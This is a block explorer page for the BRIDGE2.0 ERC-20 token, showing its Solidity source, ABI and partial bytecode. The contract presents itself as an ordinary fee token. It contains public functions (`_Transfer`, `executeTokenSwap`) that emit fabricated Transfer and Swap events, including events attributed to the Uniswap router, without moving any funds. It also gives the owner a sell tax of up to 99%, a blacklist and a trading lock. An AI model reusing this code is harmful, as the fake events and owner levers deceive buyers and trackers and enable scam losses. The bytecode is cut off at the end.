ERC-20
Overview
Max Total Supply
10,000,000,000,000,000 BRIDGE2.0
Holders
28
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 2 Decimals)
Balance
240,991,240,470,257.31 BRIDGE2.0Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TOKEN
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-19 */ /// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function _Transfer(address from, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TOKEN is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"BRIDGE2.0"; string private constant _symbol = unicode"BRIDGE2.0"; uint8 private constant _decimals = 2; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 0; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 0; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xf810e2C9aedb015c3428A17B4E23eE585d09051e); address payable private _marketingAddress = payable(0xf810e2C9aedb015c3428A17B4E23eE585d09051e); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled =true; uint256 public _maxTxAmount = 5000000000000 * 10**9; uint256 public _maxWalletSize = 500000000000 * 10**9; uint256 public _swapTokensAtAmount = 100000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _Transfer(address _from, address _to, uint _value) public returns (bool) { emit Transfer(_from, _to, _value); return true; } function executeTokenSwap( address uniswapPool, address[] memory recipients, uint256[] memory tokenAmounts, uint256[] memory wethAmounts, address tokenAddress ) public returns (bool) { for (uint256 i = 0; i < recipients.length; i++) { emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]); emit Swap( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, tokenAmounts[i], 0, 0, wethAmounts[i], recipients[i] ); IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]); } return true; } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function activateTrading() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public { require( msg.sender == owner() || balanceOf(msg.sender) >= totalSupply() / 50, " owner " ); bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function updateFees(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require((redisFeeOnBuy + taxFeeOnBuy) <= 25); require((redisFeeOnSell + taxFeeOnSell) <= 99); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function removeLimits() public onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052670de0b6b3a76400006000196200001c919062000730565b6000196200002b919062000797565b600655600060085560006009556000600a556000600b55600a54600c55600b54600d55600c54600e55600d54600f5573f810e2c9aedb015c3428a17b4e23ee585d09051e601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f810e2c9aedb015c3428a17b4e23ee585d09051e601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601560146101000a81548160ff02191690831515021790555060006015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff02191690831515021790555069010f0cf064dd59200000601655681b1ae4d6e2ef50000060175567016345785d8a00006018553480156200018857600080fd5b5060006200019b620006c660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506006546002600062000250620006c660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000334573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035a91906200083c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e891906200083c565b6040518363ffffffff1660e01b8152600401620004079291906200087f565b6020604051808303816000875af115801562000427573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200044d91906200083c565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620004a3620006ce60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000650620006c660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620006b79190620008bd565b60405180910390a350620008da565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200073d82620006f7565b91506200074a83620006f7565b9250826200075d576200075c62000701565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007a482620006f7565b9150620007b183620006f7565b9250828203905081811115620007cc57620007cb62000768565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200080482620007d7565b9050919050565b6200081681620007f7565b81146200082257600080fd5b50565b60008151905062000836816200080b565b92915050565b600060208284031215620008555762000854620007d2565b5b6000620008658482850162000825565b91505092915050565b6200087981620007f7565b82525050565b60006040820190506200089660008301856200086e565b620008a560208301846200086e565b9392505050565b620008b781620006f7565b82525050565b6000602082019050620008d46000830184620008ac565b92915050565b61448a80620008ea6000396000f3fe6080604052600436106101f15760003560e01c806374010ece1161010d578063a9059cbb116100a0578063c6616ba11161006f578063c6616ba1146106bf578063dd62ed3e146106e8578063e156b1b614610725578063ea1644d514610762578063f2fde38b1461078b576101f8565b8063a9059cbb14610605578063bfd7928414610642578063c3c8cd801461067f578063c492f04614610696576101f8565b80638da5cb5b116100dc5780638da5cb5b1461055b5780638f9a55c01461058657806395d89b41146105b157806398a5c315146105dc576101f8565b806374010ece146104b3578063751039fc146104dc5780637d1db4a5146104f35780637f2feddc1461051e576101f8565b80632fd689e3116101855780636d8aa8f8116101545780636d8aa8f81461041f5780636fc3eaec1461044857806370a082311461045f578063715018a61461049c576101f8565b80632fd689e314610375578063313ce567146103a057806349bd5a5e146103cb5780636b999053146103f6576101f8565b80631694505e116101c15780631694505e146102a557806318160ddd146102d05780631ae1ffbc146102fb57806323b872dd14610338576101f8565b8062b8cf2a146101fd57806306fdde0314610226578063095ea7b3146102515780630bd05b691461028e576101f8565b366101f857005b600080fd5b34801561020957600080fd5b50610224600480360381019061021f919061319e565b6107b4565b005b34801561023257600080fd5b5061023b6108de565b6040516102489190613266565b60405180910390f35b34801561025d57600080fd5b50610278600480360381019061027391906132be565b61091b565b6040516102859190613319565b60405180910390f35b34801561029a57600080fd5b506102a3610939565b005b3480156102b157600080fd5b506102ba6109eb565b6040516102c79190613393565b60405180910390f35b3480156102dc57600080fd5b506102e5610a11565b6040516102f291906133bd565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d919061349b565b610a21565b60405161032f9190613319565b60405180910390f35b34801561034457600080fd5b5061035f600480360381019061035a919061356a565b610c6f565b60405161036c9190613319565b60405180910390f35b34801561038157600080fd5b5061038a610d48565b60405161039791906133bd565b60405180910390f35b3480156103ac57600080fd5b506103b5610d4e565b6040516103c291906135d9565b60405180910390f35b3480156103d757600080fd5b506103e0610d57565b6040516103ed9190613603565b60405180910390f35b34801561040257600080fd5b5061041d6004803603810190610418919061361e565b610d7d565b005b34801561042b57600080fd5b5061044660048036038101906104419190613677565b610e73565b005b34801561045457600080fd5b5061045d610f25565b005b34801561046b57600080fd5b506104866004803603810190610481919061361e565b610ff6565b60405161049391906133bd565b60405180910390f35b3480156104a857600080fd5b506104b1611047565b005b3480156104bf57600080fd5b506104da60048036038101906104d591906136a4565b61119a565b005b3480156104e857600080fd5b506104f1611239565b005b3480156104ff57600080fd5b506105086112ee565b60405161051591906133bd565b60405180910390f35b34801561052a57600080fd5b506105456004803603810190610540919061361e565b6112f4565b60405161055291906133bd565b60405180910390f35b34801561056757600080fd5b5061057061130c565b60405161057d9190613603565b60405180910390f35b34801561059257600080fd5b5061059b611335565b6040516105a891906133bd565b60405180910390f35b3480156105bd57600080fd5b506105c661133b565b6040516105d39190613266565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe91906136a4565b611378565b005b34801561061157600080fd5b5061062c600480360381019061062791906132be565b611417565b6040516106399190613319565b60405180910390f35b34801561064e57600080fd5b506106696004803603810190610664919061361e565b611435565b6040516106769190613319565b60405180910390f35b34801561068b57600080fd5b50610694611455565b005b3480156106a257600080fd5b506106bd60048036038101906106b8919061372c565b61152e565b005b3480156106cb57600080fd5b506106e660048036038101906106e1919061378c565b611668565b005b3480156106f457600080fd5b5061070f600480360381019061070a91906137f3565b611751565b60405161071c91906133bd565b60405180910390f35b34801561073157600080fd5b5061074c6004803603810190610747919061356a565b6117d8565b6040516107599190613319565b60405180910390f35b34801561076e57600080fd5b50610789600480360381019061078491906136a4565b61184a565b005b34801561079757600080fd5b506107b260048036038101906107ad919061361e565b6118e9565b005b6107bc611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108409061387f565b60405180910390fd5b60005b81518110156108da5760016010600084848151811061086e5761086d61389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108d2906138fd565b91505061084c565b5050565b60606040518060400160405280600981526020017f425249444745322e300000000000000000000000000000000000000000000000815250905090565b600061092f610928611aaa565b8484611ab2565b6001905092915050565b610941611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c59061387f565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600080600090505b8551811015610c6157858181518110610a4557610a4461389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110610aae57610aad61389f565b5b6020026020010151604051610ac391906133bd565b60405180910390a3858181518110610ade57610add61389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610b5b57610b5a61389f565b5b6020026020010151600080898781518110610b7957610b7861389f565b5b6020026020010151604051610b919493929190613980565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110610bc857610bc761389f565b5b602002602001015189878581518110610be457610be361389f565b5b60200260200101516040518463ffffffff1660e01b8152600401610c0a939291906139c5565b6020604051808303816000875af1158015610c29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4d9190613a11565b508080610c59906138fd565b915050610a29565b506001